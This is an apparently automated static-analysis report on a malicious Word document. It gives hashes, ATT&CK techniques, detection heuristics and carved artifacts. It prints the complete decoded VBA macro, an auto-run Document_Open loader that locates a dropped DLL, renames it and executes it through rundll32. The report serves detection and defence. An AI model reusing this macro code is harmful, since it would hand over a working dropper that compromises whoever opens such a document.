Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47f9b456456dbf96…

MALICIOUS

Office (OLE)

965.5 KB Created: 2021-06-10 09:13:00 Authoring application: Microsoft Office Word First seen: 2021-06-17
MD5: 4c46c54dc4602ea64899e623f2fe224e SHA-1: fde90836cea924dfd7e68e24ca1feb8b1c4e6fc1 SHA-256: 47f9b456456dbf9635aea3023d2abdfa3756caeb6a99fc7460965dfd60d0993d
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute, and it attempts to copy an embedded executable file to the system's temporary directory as 'omsh.dll'. It then uses ShellExecuteA to run this DLL, likely to download and execute a second-stage payload. The presence of an embedded PE executable and the use of auto-execution macros strongly indicate a malicious intent.

Heuristics 14

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set FSO = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2141 bytes
SHA-256: ea809f945148361667aedf1c479ad386e76acc7bf0dcedad2364017c10e9c663
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdAutoRecoverPath)
Dim xc
xc = "texmp"
If Dir(vcbc & "\omsh.dll") = "" Then
Call yyy

Call xxx
If Len(hdv) > 2 Then

Call nam(hdv)

Dim ued As String
ued = ".e"



 Dim cvzz As String
cvzz = "l32"

  gc 0, vbNullString, _
    "run" & "dl" & cvzz, Options.DefaultFilePath(wdAutoRecoverPath) & "\omsh.dll,KTXJURULFTO", _
     vbNullString, 1
End If
End If
End Sub

Sub xxx()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
 Dim FSO As Object
   Set FSO = CreateObject("Scripting.FileSystemObject")
Call Search(FSO.GetFolder(usx), hdv)
End Sub
Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub


Attribute VB_Name = "Module1"
Sub bcvsf()
Dim cxv
cxv = "vdcvdsf"
End Sub

Sub nam(pafs As String)
Dim uu As String
uu = Options.DefaultFilePath(wdAutoRecoverPath)
Name pafs As uu & "\omsh.dll"
End Sub




 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "omh.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub
embedded_office_0008ee6e.exe embedded-pe Office MZ+PE at offset 0x8EE6E 403346 bytes
SHA-256: ee236f79891564e6b0dff55ee9e56b3bc90757d6637579e301e6cc418ea829be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1684796502/Ole10Native 369964 bytes
SHA-256: 097ac9065b6bcea3e92e25d3afcc945af7c33814c78c8c90ba2ce022d364548e
ole10native_00_omh.dll ole-package-payload OLE Ole10Native payload: ObjectPool/_1684796502/Ole10Native; display_name=omh.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\omh.dll; temp_path=; def_file= 369664 bytes
SHA-256: 075c9b873bef7eb13260f9fc12b337b3ee74e1c7b80603735b7a598687c184ce

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